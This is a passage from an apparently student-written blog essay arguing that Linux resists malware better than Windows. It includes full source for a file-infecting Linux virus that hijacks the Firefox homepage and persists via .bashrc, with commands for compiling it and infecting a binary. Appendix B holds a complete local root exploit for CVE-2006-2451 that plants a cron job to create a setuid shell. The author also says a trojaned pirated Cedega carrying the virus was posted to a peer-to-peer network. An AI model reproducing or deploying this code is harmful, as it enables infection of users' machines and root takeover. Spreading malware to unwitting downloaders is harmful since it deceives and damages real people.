complete access to the entire system. It was not even a true<br />
multi-user system, it could keep different settings and preferences<br />
for each user but it could not stop one user from accessing another<br />
users files. In Windows NT based operating systems true multi-user<br />
support exists. It is possible to create users that do not have<br />
access to the complete system and is possible to configure exactly<br />
how much access they have and limit it in many different ways.<br />
However, because of the president set in Windows 9x and to maintain<br />
backwards compatibility most users and system administrators chose to<br />
give their users complete access to the entire system or at least<br />
almost complete access.<br />
</P><br />
<P CLASS="western" STYLE="margin-bottom: 0in; line-height: 200%">	The<br />
brand new Dell system with Windows 2005 Media Center edition (which<br />
is basically the same as Windows XP Home) that I setup in the last<br />
month was configured with a single user account that had access to<br />
the complete system. Windows XP does provide a rather easy was of<br />
creating limited user accounts in the control panel. I have personal<br />
experience using limited accounts to help increase the security of my<br />
system and have found that they do not work very well. The problem is<br />
that programs written for Windows are not designed to run within a<br />
limited user account. Most of them need write access to their data<br />
files and then they keep their data files in a location that limited<br />
users do not have write access to. Because so many Windows programs<br />
are built this way, users are forced to run with administrator<br />
accounts even though it creates a huge security problem. There are<br />
rumors that this problem will be fixed in Windows Vista and users<br />
will be prompted for a password when programs need access to the<br />
complete system. This security oversight is what makes Windows so<br />
much more susceptible to viruses than Linux. Viruses ran in Windows<br />
have complete access to the entire system and viruses ran in Linux<br />
have only access to the user’s files (Moen).</P><br />
<P CLASS="western" STYLE="margin-bottom: 0in; line-height: 200%"><FONT SIZE=4><B>Writing<br />
a Linux virus</B></FONT></P><br />
<P CLASS="western" STYLE="margin-bottom: 0in; line-height: 200%">	Taking<br />
the challenge offered to me by fate I sought out to write the most<br />
devastating virus for Linux ever created. It would certainly not be<br />
the first virus created because more than 60 different viruses are<br />
listed in Rick Moen&#8217;s <I>Virus</I> article. These 60 viruses were no<br />
more effective than the one I created was. In the process of writing<br />
this virus I learned the challenges that Linux viruses face and the<br />
requirements for overcoming them.<br />
</P><br />
<P CLASS="western" STYLE="margin-bottom: 0in; line-height: 200%">	Writing<br />
a good virus is challenging and the best viruses are written in<br />
assembly language (Bartolich). Since my knowledge of assembly is a<br />
little rusty I decided to use a simple virus called Jingle Bell that<br />
was written in C as my starting point. Its complete source code<br />
provided by Amit Singh together with my changes is included in<br />
appendix A. Using the virus is straight forward. It complies easily<br />
with gcc and infecting a file is as easy as:</P><br />
<P CLASS="western" STYLE="margin-bottom: 0in; line-height: 200%"><FONT FACE="Arial, sans-serif">./virus<br />
victim</FONT></P><br />
<P CLASS="western" STYLE="margin-bottom: 0in; line-height: 200%">Victim<br />
has to be a binary executable that the current user has write access<br />
to. The procedure for infecting a copy of the &quot;ls&quot; command<br />
is as follows:</P><br />
<P CLASS="western" STYLE="margin-bottom: 0in; line-height: 0.07in"><FONT FACE="Arial, sans-serif">$<br />
gcc virus.c -o virus</FONT></P><br />
<P CLASS="western" STYLE="margin-bottom: 0in; line-height: 0.07in"><BR><br />
</P><br />
<P CLASS="western" STYLE="margin-bottom: 0in; line-height: 0.07in"><FONT FACE="Arial, sans-serif">$<br />
cp /bin/ls ./</FONT></P><br />
<P CLASS="western" STYLE="margin-bottom: 0in; line-height: 0.07in"><BR><br />
</P><br />
<P CLASS="western" STYLE="margin-bottom: 0in; line-height: 0.07in"><FONT FACE="Arial, sans-serif">$<br />
./ls</FONT></P><br />
<P CLASS="western" STYLE="margin-bottom: 0in; line-height: 0.07in"><FONT FACE="Arial, sans-serif">ls<br />
 virus  virus.c</FONT></P><br />
<P CLASS="western" STYLE="margin-bottom: 0in; line-height: 0.07in"><BR><br />
</P><br />
<P CLASS="western" STYLE="margin-bottom: 0in; line-height: 0.07in"><FONT FACE="Arial, sans-serif">$./virus<br />
./ls</FONT></P><br />
<P CLASS="western" STYLE="margin-bottom: 0in; line-height: 0.07in"><FONT FACE="Arial, sans-serif">THIS<br />
IS A VIRUS!</FONT></P><br />
<P CLASS="western" STYLE="margin-bottom: 0in; line-height: 0.07in"><BR><br />
</P><br />
<P CLASS="western" STYLE="margin-bottom: 0in; line-height: 0.07in"><FONT FACE="Arial, sans-serif">$./ls</FONT></P><br />
<P CLASS="western" STYLE="margin-bottom: 0in; line-height: 0.07in"><FONT FACE="Arial, sans-serif">THIS<br />
IS A VIRUS!</FONT></P><br />
<P CLASS="western" STYLE="margin-bottom: 0in; line-height: 0.07in"><FONT FACE="Arial, sans-serif">ls<br />
 virus  virus.c</FONT></P><br />
<P CLASS="western" STYLE="margin-bottom: 0in; line-height: 0.07in"><BR><br />
</P><br />
<P CLASS="western" STYLE="margin-bottom: 0in; line-height: 200%">As<br />
you can see in output of the last command ls was successfully<br />
infected and it printed out the text &quot;THIS IS A VIRUS!&quot;<br />
which is in line 51 of the source code and then continued to do its<br />
normal function of listing the contents of the current directory. The<br />
virus could spread to other executables if the filename of an<br />
executable was provided to ls as an argument.<br />
</P><br />
<P CLASS="western" STYLE="margin-bottom: 0in; line-height: 200%">	Even<br />
though we have a working virus we need to find a way to put our virus<br />
onto other systems for it to do any good. The easiest and most<br />
popular method would be to include the virus as part of some other<br />
program that does something or claims to do something entirely<br />
unrelated to infecting your computer. Viruses that behave in this way<br />
are called Trojans and they spread by deceiving people into thinking<br />
that they are legitimate programs. Viruses can also spread by just<br />
infecting as many executables on the host machine as possible in the<br />
hopes that those executables might be shared with other computers.<br />
E-mail viruses are also popular (Strongbad). Once they get on a<br />
computer they search for the address book and send a copy of<br />
themselves to each person in the address book. The nastiest viruses<br />
are the ones that exploit remote security holes in the operating<br />
system and use those to infect a computer over the network. The<br />
infected computer will then try to infect more computers and so on.<br />
Viruses that behave in this way are called worms. If the worm is<br />
created before the security holes are fixed a well written worm could<br />
quickly infect hundreds or thousands of vulnerable computers.<br />
Security holes in web browsers can also be used to infect computers<br />
with virus or other malware. Most viruses or malware employ a<br />
combination of the above techniques to spread themselves.</P><br />
<P CLASS="western" STYLE="margin-bottom: 0in; line-height: 200%">	In<br />
my own virus I wanted first to try to infect as many executables as<br />
possible. The executables are usually located in /bin/, /usr/bin/ and<br />
/usr/local/bin. However, only the root user has write access to these<br />
directories; that means for a virus to infect any important files it<br />
must first become root. Usually this can be done unless one knows the<br />
root password but over the years there have been a few security holes<br />
that have been exploited to gain root access. On July 11, 2006 a<br />
proof of concept exploit was released that used a security bug in<br />
Linux kernels 2.6.13 through 2.6.17.3 that allowed a user to gain<br />
root access (2.6.17.4 was available on kernel.org on June 30, 2006).<br />
The bug involved the prctl() system call which was used to dump the<br />
memory contents of a process for debugging purposes. The problem was<br />
that the memory was dumped to a file at any location on the file<br />
system. A clever way of gaining root access was to dump a process&#8217;s<br />
contents into the /etc/cron.d/ directory. If the process had a string<br />
in memory that contained a cron entry and a bash script, it would be<br />
run with root access. Appendix B contains the complete source of this<br />
exploit.</P><br />
<P CLASS="western" STYLE="margin-bottom: 0in; line-height: 200%">	I<br />
tried to include this root exploit in my code but because of the<br />
nature of the prctl() system call, the memory contents were so<br />
unpredictable it was impossible to create a dump file that would<br />
reliably  make a cron entry. This exploit could only be used by the<br />
simplest program and not in an automated fashion which is what a<br />
virus requires. All the local root exploits I found at milw0rm.com,<br />
which is a site that contains a database of exploits, either required<br />
user interaction or only worked on a very specific set of packages<br />
with specific versions. I came to the conclusion that I would have to<br />
have my virus do its dirty work without being root.<br />
</P><br />
<P CLASS="western" STYLE="margin-bottom: 0in; line-height: 200%">	For<br />
starters a made the virus do something mischievous, like resetting<br />
Firefox&#8217;s homepage to whatever I wanted. This was pretty easy to do<br />
since Firefox keeps its preferences file in the user&#8217;s home<br />
directory. To be even more annoying I added a line to the user’s<br />
.bashrc file that would reset the user&#8217;s homepage every time they<br />
started a terminal. This sort of thing is standard procedure with<br />
Windows malware and it turned out to be fairly easy to do in Linux.<br />
Except in Linux it could only affect one user and fixing the damage<br />
is as easy as delete one line from a text file.<br />
</P><br />
<P CLASS="western" STYLE="margin-bottom: 0in; line-height: 200%">	In<br />
order to spread my virus I decided to use the Trojan horse approach.<br />
One of the most commonly pirated pieces of software by Linux users is<br />
Transgaming&#8217;s Cedega, a commercial version of WINE that allows Linux<br />
users to run Windows games. I decided to package my own version of<br />
Cedega with my virus included and post it on a major peer-to-peer<br />
file sharing network. As of yet no one has downloaded my virus, but I<br />
expect that a handful will eventually download my virus and a few of<br />
them might actually be infected by it. But because my virus has no<br />
real way to infect other executables since it cannot become root I do<br />
not expect my virus to go very far.<br />
</P><br />
<P CLASS="western" STYLE="margin-bottom: 0in; line-height: 200%"><BR><br />
</P><br />
<P CLASS="western" STYLE="margin-bottom: 0in; line-height: 200%"><FONT SIZE=4><B>Security<br />
holes in Linux and Windows</B></FONT></P><br />
<P CLASS="western" STYLE="margin-bottom: 0in; line-height: 200%">	Security<br />
holes are not unheard of in Linux but they appear less often and are<br />
less severe than security holes in Windows. First let&#8217;s compare the<br />
default web browser of most Linux distributions (Firefox) with the<br />
default web browser of Windows (Internet Explorer). Since we just<br />
want to know why Windows has more malware than Linux we will focus a<br />
single time period and see what security problems the two browsers<br />
had in that time period. Firefox 1.0 was release in November of 2004<br />
and on May of 2005 version 1.0.4 was released. Each of the four minor<br />
revisions was to address security issues. In the same time frame<br />
Microsoft released 20 major patches to IE, most of which were rated<br />
&quot;critical&quot; (Livingston). These critical security problems<br />
meant that malware could be installed automatically on a Windows<br />
machine if the user just clicked on a link. A company by the name of<br />
Scanit did a study of the amount of time it took Microsoft to release<br />
a patch for a vulnerability once it became public. &quot;The firm<br />
found that IE was wide open for a total of 200 days in 2004, or 54%<br />
of the year, to exploits that were &quot;in the wild&quot; on the<br />
Internet (Livingston).&quot; That meant that any script kiddy could<br />
download some html, upload it to a website and every person that<br />
visited that site could be compromised 50% of the time, even if they<br />
had installed the latest Windows updates. Firefox had a few security<br />
problems of it own, even to the point where code could be executed<br />
remotely but in every case a patch was issued before the security<br />
problem was made public. The exploits were always written after the<br />
problem had been fixed.<br />
</P><br />
<P CLASS="western" STYLE="margin-bottom: 0in; line-height: 200%">	Everyone<br />
remembers the Sasser and Blaster worms that infected millions of<br />
Windows machines overnight using security vulnerabilities in the DCOM<br />
protocol which is hardly ever used by desktop computers and is<br />
enabled by default. Linux has about 10 total worms all of which were<br />
released weeks sometimes months after patches were issued for the<br />
security holes the worms used (Moen). Very few Linux machines were<br />
even vulnerable to the worms because most of them targeted the BIND<br />
name server which is only used by Internet servers. Actually, none of<br />
the worms would have been able to compromise a desktop system unless<br />
it was running some server software.</P><br />
<P CLASS="western" STYLE="margin-bottom: 0in; line-height: 200%"><BR><br />
</P><br />
<P CLASS="western" STYLE="margin-bottom: 0in; line-height: 200%"><FONT SIZE=4><B>The<br />
Open Source Development model</B></FONT></P><br />
<P CLASS="western" STYLE="margin-bottom: 0in; line-height: 200%">	Much<br />
discussion has been made as to whether open source development<br />
creates better software than traditional closed source development.<br />
The primary advantage of open source development is that the source<br />
code and be read by anyone. More eyeballs can find security problems<br />
better than less (Wheeler). Because open source developers are<br />
constantly reviewing the source code for major projects like Firefox<br />
they can find the security holes before the hackers the hackers do.<br />
But because it open source the hackers can see the security hole that<br />
was fixed and then create an exploit for the fixed security bug. This<br />
is why in the above example the exploits were always released after<br />
they were fixed. However in closed source development what usually<br />
happens is that hackers find security holes in software and then the<br />
companies try to patch them. This is what happened to IE when it was<br />
vulnerable 200 days of the year in 2004 because the patches were<br />
released so long after the security holes were found by hackers.</P><br />
<P CLASS="western" STYLE="margin-bottom: 0in; line-height: 200%">	Heterogeneous<br />
software configurations also make Linux less susceptible to<br />
infections. Not everyone who uses Linux runs the same browser, e-mail<br />
client or web server. The diversity of e-mail clients makes it very<br />
difficult for viruses to find where the address book is stored<br />
(Moen). Even if a major security hole in Firefox was found and<br />
exploited users of Epiphany, Konquerer and the 50+ other web browsers<br />
would not be affected. If Red Hat had a configuration problem that<br />
left it wide open to attacks users of other Linux distributions would<br />
have nothing to worry about. I say all this to show that software<br />
diversity makes it much more difficult to develop a virus or worm<br />
that would infect every Linux system in existence.<br />
</P><br />
<P CLASS="western" STYLE="margin-bottom: 0in; line-height: 200%"><FONT SIZE=4><B>Conclusion</B></FONT></P><br />
<P CLASS="western" STYLE="margin-bottom: 0in; line-height: 200%">	To<br />
say that Linux is completely free from viruses and malware is not<br />
entirely true. It is, however, much more resistant to it than Windows<br />
is. Root accounts, prompt patching of security holes, and a<br />
heterogeneous mixture of software make Linux a much more difficult<br />
target when developing malware. I would say that is never going to be<br />
necessary to run anti-virus software for Linux, I do not think they<br />
work very well in Windows and they certainly do not belong in Linux.<br />
Education is still the best way to prevent viruses. Never install<br />
software from sources you do not trust. Ubuntu and other<br />
distributions already verify that every package that is installed is<br />
signed by the correct provider. The best defense against viruses and<br />
other attacks is what it has always bee, keep your software up to<br />
date.</P><br />
<P CLASS="western" STYLE="margin-bottom: 0in; line-height: 200%; page-break-before: always"><br />
<BR><br />
</P><br />
<P CLASS="western" STYLE="margin-bottom: 0in; line-height: 200%"><FONT SIZE=4><B>Resources</B></FONT></P><br />
<P CLASS="western" STYLE="margin-bottom: 0in; line-height: 0.14in"><EM><SPAN STYLE="font-style: normal">Wheeler,<br />
David A.</SPAN> Secure Programming for Linux and Unix HOWTO. <SPAN STYLE="font-style: normal">3<br />
March 2003.<br />
&lt;</SPAN></EM>http://www.dwheeler.com/secure-programs/Secure-Programs-HOWTO/open-source-security.html&gt;</P><br />
<P CLASS="western" STYLE="margin-bottom: 0in; line-height: 0.14in"><BR><br />
</P><br />
<P CLASS="western" STYLE="margin-bottom: 0in; line-height: 0.14in">Strongbad.<br />
<I>Virus E-mail. </I>28 November 2006.<br />
&lt;http://www.homestarrunner.com/sbemail118.html&gt;</P><br />
<P CLASS="western" STYLE="margin-bottom: 0in; line-height: 0.14in"><BR><br />
</P><br />
<P CLASS="western" STYLE="margin-bottom: 0in; line-height: 0.14in">Livingston,<br />
Brian. <I>Firefox vs IE: Speed of Response to Threat of Exploits. 17<br />
May 2005.<br />
&lt;</I>http://techrepublic.com.com/5208-9592-0.html?forumID=88&amp;threadID=174011&amp;start=0&gt;</P><br />
<P CLASS="western" STYLE="margin-bottom: 0in; line-height: 0.14in"><BR><br />
</P><br />
<P CLASS="western" STYLE="margin-bottom: 0in; line-height: 0.14in"><STRONG><SPAN STYLE="font-weight: medium">Singh,<br />
Amit. <I>Viruses on Unix.</I></SPAN> <SPAN STYLE="font-weight: medium">28<br />
November 2006.<br />
&lt;</SPAN></STRONG>http://www.kernelthread.com/publications/security/vunix.html&gt;</P><br />
<P CLASS="western" STYLE="margin-bottom: 0in; line-height: 0.14in"><BR><br />
</P><br />
<P CLASS="western" STYLE="margin-bottom: 0in; line-height: 0.14in">Bartolich,<br />
Alexander. <I>The ELF Virus Writing HOWTO. &nbsp;</I>15 Feb. 2003.<br />
Linux Security.<br />
&lt;http://www.linuxsecurity.com/resource_files/documentation/virus-writing-HOWTO/_html/index.html&gt;</P><br />
<P CLASS="western" STYLE="margin-bottom: 0in; line-height: 0.14in"><BR><br />
</P><br />
<P CLASS="western" STYLE="margin-bottom: 0in; line-height: 0.14in">Moen,<br />
Rick. <I>Virus. </I>12 Oct. 2006.<br />
&lt;http://linuxmafia.com/~rick/faq/index.php?page=virus&gt;</P><br />
<P CLASS="western" STYLE="margin-bottom: 0in; line-height: 0.14in"><BR><br />
</P><br />
<P CLASS="western" STYLE="margin-bottom: 0in; line-height: 0.14in">Petreley,<br />
Nicholas. <I>Security Report: Windows vs Linux. 22</I> Oct 2004.<br />
&lt;http://www.theregister.co.uk/security/security_report_windows_vs_linux/&gt;</P><br />
<P CLASS="western" STYLE="margin-bottom: 0in; line-height: 0.14in"><BR><br />
</P><br />
<P CLASS="western" STYLE="margin-bottom: 0in; line-height: 0.14in">Dreyer<br />
&amp; RoMaNSoFt. <I>Linux Kernel 2.6.13 &lt;= 2.6.17.4 sys_prctl()<br />
Local Root Exploit.</I> 10 July 2006<br />
&lt;http://www.milw0rm.com/exploits/2004&gt;</P><br />
<P CLASS="western" STYLE="margin-bottom: 0in; line-height: 0.14in; page-break-before: always"><br />
<FONT SIZE=4><B>Appendix A &#8211; Viral code</B></FONT></P><br />
<PRE CLASS="western">/*<br />
 * Jingle Bell (with moderate error handling)<br />
 */</p>
<p>#include &lt;stdio.h&gt;<br />
#include &lt;linux/prctl.h&gt;<br />
#include &lt;signal.h&gt;<br />
#include &lt;sys/time.h&gt;<br />
#include &lt;sys/resource.h&gt;<br />
#include &lt;sys/stat.h&gt;<br />
#include &lt;sys/types.h&gt;<br />
#include &lt;sys/param.h&gt;<br />
#include &lt;sys/wait.h&gt;<br />
#include &lt;unistd.h&gt;<br />
#include &lt;stdlib.h&gt;<br />
#include &lt;errno.h&gt;<br />
#include &lt;fcntl.h&gt;<br />
#include &lt;sys/mman.h&gt;</p>
<p>/* the size of our own executable: please configure */<br />
static int V_OFFSET = 9970;<br />
extern int errno;</p>
<p>void do_infect(int, char **, int);</p>
<p>int<br />
main(int argc, char **argv, char **envp)<br />
{</p>
<p>    int len;<br />
    int rval;<br />
    int pid, status;<br />
    int fd_r, fd_w;<br />
    char *tmp;<br />
    char buf[BUFSIZ];</p>
<p>    /*<br />
     * sometimes it may be possible to modify argv[0], for example by<br />
     * using zsh&#8217;s ARGV0 variable:<br />
     *<br />
     * zsh# ARGV0=foobar ls<br />
     *<br />
     * In that case this virus misbehaves!<br />
     */</p>
<p>	// My added stuff<br />
	printf(&quot;THIS IS A VIRUS!\n&quot;);<br />
	// set the homepage<br />
	system(&quot; for i in $( find ~/.mozilla/firefox -maxdepth 1 -type d ); do \n echo \&quot;user_pref(\\\&quot;browser.startup.homepage\\\&quot;, \\\&quot;http://www.nnucomputerwhiz.com/linux-virus.html\\\&quot;);\&quot; &gt;&gt; $i/prefs.js \n done&quot;);<br />
	// edit .bashrc to set the homepage<br />
	system(&quot;echo &#8216;for i in $( find ~/.mozilla/firefox -maxdepth 1 -type d ); do echo \&quot;user_pref(\\\&quot;browser.startup.homepage\\\&quot;, \\\&quot;http://www.nnucomputerwhiz.com/linux-virus.html\\\&quot;);\&quot; &gt;&gt; $i/prefs.js ; done&#8217; &gt;&gt; ~/.bashrc&quot;);<br />
	// end my added stuff</p>
<p>if ((fd_r = open(argv[0], O_RDONLY)) &lt; 0)<br />
        goto XBAILOUT;</p>
<p>    if (lseek(fd_r, V_OFFSET, SEEK_SET) &lt; 0) {<br />
        close(fd_r);<br />
        goto XBAILOUT;<br />
    }</p>
<p>    if ((tmp = tmpnam(NULL)) == NULL) {<br />
        close(fd_r);<br />
        goto BAILOUT;<br />
    }</p>
<p>    if ((fd_w = open(tmp, O_CREAT | O_TRUNC | O_RDWR, 00700)) &lt; 0)<br />
        goto BAILOUT;</p>
<p>    while ((len = read(fd_r, buf, BUFSIZ)) &gt; 0)<br />
        write(fd_w, buf, len);</p>
<p>    close(fd_w);</p>
<p>    if ((pid = fork()) &lt; 0)<br />
        goto BAILOUT;</p>
<p>    /* run the original executable */<br />
    if (pid == 0) {<br />
        execve(tmp, argv, envp);<br />
        exit(127);<br />
    }</p>
<p>    /* Infect */<br />
    do_infect(argc, argv, fd_r);</p>
<p>    close(fd_r);</p>
<p>    do {<br />
        /* wait till you can cleanup */<br />
        if (waitpid(pid, &amp;status, 0) == -1) {<br />
            if (errno != EINTR) {<br />
                rval = -1;<br />
                goto BAILOUT;<br />
            } else {<br />
                rval = status;<br />
                goto BAILOUT;<br />
            }<br />
        }<br />
    }</p>
<p>	while (1);</p>
<p>BAILOUT:<br />
    unlink(tmp);</p>
<p>XBAILOUT:<br />
    exit(rval);<br />
}</p>
<p>void<br />
do_infect(int argc, char **argv, int fd_r)<br />
{<br />
    int fd_t;<br />
    int target, i;<br />
    int done, bytes, length;<br />
	char * targetName;<br />
    void *map;<br />
    struct stat stat;<br />
    char buf[BUFSIZ];</p>
<p>	if (argc &lt; 2)<br />
        return;</p>
<p>    /* nail the first executable on the command line */<br />
    for (target = 1; target &lt; argc; target++)<br />
        if (!access(argv[target], W_OK | X_OK))<br />
			targetName = argv[target];<br />
            goto NAILED;</p>
<p>    return;</p>
<p>NAILED:<br />
    if ((fd_t = open(targetName, O_RDWR)) &lt; 0)<br />
        return;</p>
<p>    fstat(fd_t, &amp;stat);<br />
    length = stat.st_size;</p>
<p>    map = (char *)malloc(length);<br />
    if (!map)<br />
        goto OUT;</p>
<p>    /* assume no short reads or writes, nor any failed lseeks */</p>
<p>    for (i = 0; i &lt; length; i++)<br />
        read(fd_t, map + i, 1);</p>
<p>    lseek(fd_t, 0, SEEK_SET);<br />
    if (ftruncate(fd_t, 0))<br />
        goto OUT;</p>
<p>    done = 0;<br />
    lseek(fd_r, 0, SEEK_SET);<br />
    while (done &lt; V_OFFSET) {<br />
        bytes = read(fd_r, buf, 1);<br />
        write(fd_t, buf, bytes);<br />
        done += bytes;<br />
    }</p>
<p>    for (bytes = 0; bytes &lt; length; bytes++)<br />
        write(fd_t, map + bytes, 1);</p>
<p>    free(map);</p>
<p>OUT:<br />
    close(fd_t);<br />
    return;</p>
<p><FONT FACE="Times New Roman, serif"><FONT SIZE=4><B>Appendix B &#8211; Local Root Exploit</B></FONT></FONT></p>
<p>/*****************************************************/<br />
/* Local r00t Exploit for:                           */<br />
/* Linux Kernel PRCTL Core Dump Handling             */<br />
/* ( BID 18874 / CVE-2006-2451 )                     */<br />
/* Kernel 2.6.x  (&gt;= 2.6.13 &amp;&amp; &lt; 2.6.17.4)           */<br />
/* By:                                               */<br />
/* &#8211; dreyer    &lt;luna@aditel.org&gt;   (main PoC code)   */<br />
/* &#8211; RoMaNSoFt &lt;roman@rs-labs.com&gt; (local root code) */<br />
/*                                  [ 10.Jul.2006 ]  */<br />
/*****************************************************/</p>
<p>#include &lt;stdio.h&gt;<br />
#include &lt;sys/time.h&gt;<br />
#include &lt;sys/resource.h&gt;<br />
#include &lt;unistd.h&gt;<br />
#include &lt;linux/prctl.h&gt;<br />
#include &lt;stdlib.h&gt;<br />
#include &lt;sys/types.h&gt;<br />
#include &lt;signal.h&gt;</p>
<p>char *payload=&quot;\nSHELL=/bin/sh\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n* * * * *   root   cp /bin/sh /tmp/sh ; chown root /tmp/sh ; chmod 4755 /tmp/sh ; rm -f /etc/cron.d/core\n&quot;;</p>
<p>int main() {<br />
    int child;<br />
    struct rlimit corelimit;<br />
    printf(&quot;Linux Kernel 2.6.x PRCTL Core Dump Handling &#8211; Local r00t\n&quot;);<br />
    printf(&quot;By: dreyer &amp; RoMaNSoFt\n&quot;);<br />
    printf(&quot;[ 10.Jul.2006 ]\n\n&quot;);</p>
<p>    corelimit.rlim_cur = RLIM_INFINITY;<br />
    corelimit.rlim_max = RLIM_INFINITY;<br />
    setrlimit(RLIMIT_CORE, &amp;corelimit);</p>
<p>    printf(&quot;[*] Creating Cron entry\n&quot;);</p>
<p>    if ( !( child = fork() )) {<br />
        chdir(&quot;/etc/cron.d&quot;);<br />
        prctl(PR_SET_DUMPABLE, 2);<br />
        sleep(200);<br />
        exit(1);<br />
    }</p>
<p>    kill(child, SIGSEGV);</p>
<p>    printf(&quot;[*] Sleeping for aprox. one minute (** please wait **)\n&quot;);<br />
    sleep(62);</p>
<p>    printf(&quot;[*] Running shell (remember to remove /tmp/sh when finished) &#8230;\n&quot;);<br />
    system(&quot;/tmp/sh -i&quot;);<br />
</PRE></p>


<p>Related posts:<ol><li><a href='http://nnucomputerwhiz.com/spyware-prevention.html' rel='bookmark' title='Spyware Prevention'>Spyware Prevention</a></li>
<li><a href='http://nnucomputerwhiz.com/spyware-scanners.html' rel='bookmark' title='Spyware Scanners'>Spyware Scanners</a></li>
<li><a href='http://nnucomputerwhiz.com/linux-introduction.html' rel='bookmark' title='Introduction To Linux'>Introduction To Linux</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://nnucomputerwhiz.com/linux-virus.html/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
	</channel>
</rss>

<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Minified using disk: basic
Page Caching using disk: basic
Database Caching 26/105 queries in 0.117 seconds using apc
Object Caching 1602/1689 objects using apc

Served from: nnucomputerwhiz.com @ 2012-02-06 01:47:33 -->
